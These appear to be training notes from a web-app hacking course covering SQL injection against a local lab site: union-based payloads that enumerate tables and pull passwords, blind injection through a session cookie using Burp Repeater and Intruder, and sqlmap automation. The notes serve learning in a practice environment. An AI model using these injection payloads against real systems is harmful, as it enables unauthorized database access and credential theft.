Web App - SQL Injection
โก๏ธ A SQL injection attack consist of an injection of a (malicious) SQL query via the user input from the client to the application, allowing attackers to read, modify, or delete database data, execute administrative operations, access files, or issue OS commands.
SQL injection - UNION
# Basic SQLi
# Try some Username inputs like
jeremy
jeremy'
jeremy"
jeremy j
# special characters can break the SQL query
jeremy' or 1=1#
jeremy' or 1=1-- -
# 1=1 statement is always true -> the result is always true
# anything after #, -- -, etc, will be ignored
# UNION
jeremy' union select null#
jeremy' union select null,null,null#
jeremy' union select null,null,version()#
jeremy' union select null,null,table_name from information_schema.tables#
jeremy' union select null,null,column_name from information_schema.columns#
jeremy' union select null,null,password from injection0x01#SQL injection - Blind
Run BurpSuite, set
http://localhost/as project (target) Scope and login asjeremy:jeremyathttp://localhost/labs/i0x02.phpCheck the Request and Response in the BurpSuite HTTP history
Set-Cookie: session=...- important session tokenThe followed GET requests had the
Cookie: session=...header set - login ok
Content-Length: 1027- may be necessaryTest for injections by sending to Repeater the POST request and modify it
Try to automate the process with
sqlmap
โก๏ธ sqlmap - automatic SQL injection and database takeover tool
Copy the Request into a new file

Send the
GETrequest with the Cookie to the repeater
๐ Modifying or manipulating the session cookie by injecting SQL and receiving the same successful response suggests the presence of SQL injection
Make a query that gets the version character by character from the database
Extract
jessamy's password via Intrudersend the Request to Intruder
set the last letter
aof the inject as Positionadd all keyboard letters to the payload simple list
start attack
filter by length or status code

Continue the attack with Intruder or proceed with
sqlmap


SQL injection - Challenge
http://localhost/labs/i0x03.phpFind credentials and login into the users table
Test with
sqlmap

Last updated
Was this helpful?